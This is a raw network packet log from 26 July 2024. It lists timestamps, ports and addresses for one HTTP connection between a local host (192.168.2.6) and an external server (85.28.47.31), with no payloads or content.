Jul 26, 2024 10:36:13.419449091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.419447899 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.419536114 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.419636011 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.420152903 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.420165062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.420178890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.420191050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.420226097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.420232058 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.420238018 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.420250893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.420253992 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.420263052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.420304060 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.420330048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.420340061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.420351982 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.420363903 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.420375109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.420387030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.420398951 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.420408010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.420408010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.420433998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.420447111 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.420458078 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.420464993 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.420470953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.420490026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.420515060 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.420582056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.420593977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.420604944 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.420615911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.420628071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.420638084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.420649052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.420742989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.420742989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.421322107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.421334982 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.421346903 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.421358109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.421367884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.421379089 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.421380997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.421394110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.422112942 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.422112942 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.511024952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.511039019 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.511051893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.511094093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.511106014 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.511117935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.511131048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.511157036 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.511207104 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.511754990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.511773109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.511785030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.511795998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.511806965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.511807919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.511818886 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.511837006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.511847973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.511859894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.511871099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.511882067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.511893034 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.511904955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.511907101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.511907101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.511907101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.511918068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.511929989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.511941910 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.511950970 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.511950970 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.511982918 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.511996031 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.517620087 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.517632961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.517643929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.517654896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.517666101 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.517677069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.517688990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.517739058 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.517739058 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.517739058 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.522455931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.522469044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.522480965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.522515059 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.522541046 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.522552967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.522562027 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.522566080 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.522586107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.522625923 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.522625923 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.522625923 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.522650957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.522664070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.522675037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.522686958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.522692919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.522700071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.522707939 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.522732019 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.522780895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.523530006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.523541927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.523552895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.523565054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.523576975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.523606062 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.523606062 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.523622990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.524866104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.524884939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.524895906 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.524908066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.524919987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.524921894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.524933100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.524936914 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.524944067 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.525022984 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.525022984 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.525485039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.525504112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.525515079 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.525527000 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.525537968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.525558949 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.525559902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.525633097 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.526525974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.526540041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.526551008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.526562929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.526572943 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.526585102 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.526597023 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.526597023 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.526638985 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.532049894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.532063007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.532073975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.532087088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.532099009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.532146931 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.532147884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.532147884 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.534930944 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.534944057 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.534954071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.534965992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.534976959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.534987926 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.535007954 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.535007954 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.535027981 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.535475969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.535489082 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.535501003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.535511971 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.535522938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.535547972 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.535547972 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.535593987 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.536427975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.536441088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.536458015 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.536470890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.536493063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.536504984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.536504984 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.536504984 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.536520004 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.536567926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.537417889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.537430048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.537441969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.537453890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.537467003 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.537477016 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.537494898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.537528038 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.538640022 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.538652897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.538665056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.538676977 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.538690090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.538702011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.538714886 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.538714886 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.538729906 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.538757086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.539381027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.539396048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.539407015 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.539418936 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.539431095 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.539431095 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.539443016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.539454937 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.539479971 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.540343046 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.540354967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.540365934 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.540378094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.540394068 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.540407896 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.540432930 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.603306055 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.603401899 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.603461981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.603481054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.603509903 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.603526115 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.603619099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.603631973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.603642941 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.603663921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.603684902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.604201078 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.604213953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.604226112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.604238033 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.604249954 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.604253054 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.604273081 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.604290009 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.605209112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.605221987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.605233908 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.605247021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.605257988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.605261087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.605271101 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.605293989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.605314970 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.606122017 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.606133938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.606147051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.606158972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.606170893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.606170893 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.606199026 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.606218100 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.607261896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.607275009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.607285976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.607304096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.607315063 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.607319117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.607328892 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.607342958 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.607356071 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.607384920 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.608014107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.608033895 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.608045101 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.608057976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.608068943 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.608069897 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.608093977 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.608120918 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.609880924 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.609894037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.609905005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.609919071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.609930038 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.609935045 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.609944105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.609958887 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.609991074 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.621681929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.621699095 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.621711969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.621726990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.621738911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.621738911 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.621907949 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.621907949 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.622489929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.622504950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.622515917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.622529030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.622539997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.622541904 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.622553110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.622555017 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.622566938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.622592926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.622613907 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.623028040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.623042107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.623054981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.623066902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.623078108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.623078108 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.623092890 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.623105049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.623106956 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.623121023 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.623151064 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.627937078 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.627953053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.627964973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.627976894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.627988100 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.627994061 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.628006935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.628009081 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.628021002 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.628030062 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.628057957 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.635864019 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.635876894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.635889053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.635920048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.635942936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.636197090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.636245012 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.636274099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.636286974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.636297941 CEST	80	49710	85.28.47.31	192.168.2.6
